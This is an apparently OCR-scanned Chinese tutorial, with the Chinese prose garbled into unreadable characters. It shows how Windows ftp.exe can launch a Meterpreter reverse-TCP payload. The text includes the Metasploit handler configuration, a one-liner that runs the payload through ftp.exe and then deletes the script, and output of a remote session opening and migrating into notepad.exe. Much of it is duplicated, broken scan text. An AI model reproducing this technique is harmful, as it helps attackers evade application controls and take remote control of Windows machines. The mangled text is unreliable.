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Ftp.exefdf :

Ftp.exeRWindowsAREEHHN—MERF , BTHERFTPTE |, ZHEARNFTPIAE,

iBH : Ftp.exeffESR WA FMNPATHIAMEZ = , EItt , Ftp.exefp$HRE!,

Windows 2003 ERAGNE :

Windows 7 ERALIE :

ZEH - 192.168.1.4 Debian
#0810 192.168.1.3 Windows 7

BeEBGEmsf :

T 8BS % set AutoRunScript migrate -f

I msf exploit(multi/handler) > show options
3 Module options (exploit/multi/handler

5 Name Current Setting Required Description

9 Payload options (windows/meterpreter/reverse_tcp
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Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted
ss, none

seh, thread, proce

LHOST 192.168.1.4 yes The listen address (an interface may be specifi
ed

LPORT 53 yes The listen port

Exploit target

Id Name

@ Wildcard Target

msf exploit(multi/handler) > set AutoRunScript migrate -f
AutoRunScript => migrate -f

msf exploit(multi/handler) > exploit

msf exploit{multishandler} = show options
Module options (exploit/multishandler):

Mame Current Setting PRequired Description

Payload options (windows/meterpretersr

Mame Current Setting PRequired Description

EXITFUNC 5 YEs #1t technigue (Accepted: '', seh, threa : none)
¢ i fan interface may be specified)

53

Exploit target:

Id Mame

@  Wildcard Target

xploit (multishandler) = set AutoRunScript migrate -f
ipt == migrate -f
oit {multi/handler} = exploit

FEHRAT -



I echo !C:\Users\John\Desktop\rev_x86 53 exe.exe > o &echo quit >> o &ft
p -n -s:o &del /F /Q o

| msf exploit(multi/handler) > set AutoRunScript migrate -f
2 AutoRunScript => migrate -f

3 msf exploit(multi/handler) > exploit

5 [*] Started reverse TCP handler on 192.168.1.4:53
6 [*] Sending stage (179779 bytes) to 192.168.1.3

7 [*] Meterpreter session 10 opened (192.168.1.4:53 -> 192.168.1.3:5530
at 2019-01-21 ©5:14:57 -0500

8 [*] Session ID 10 (192.168.1.4:53 -> 192.168.1.3:5530) processing Auto
RunScript 'migrate -f'

9 [!] Meterpreter scripts are deprecated. Try post/windows/manage/migrat
e

10 [!] Example: run post/windows/manage/migrate OPTION=value
Il [*] Current server process: rev_x86_53 exe.exe (8832
12 [*] Spawning notepad.exe process to migrate to

13 [+] Migrating to 8788

i/handler} = set AutoRunScript migrate -f
igrate -f
handler] = exploit

Started rev
Sending st
M019-01-21 85:14:57 -0300
ipt ‘migrate -f°

Spawning
Migrating
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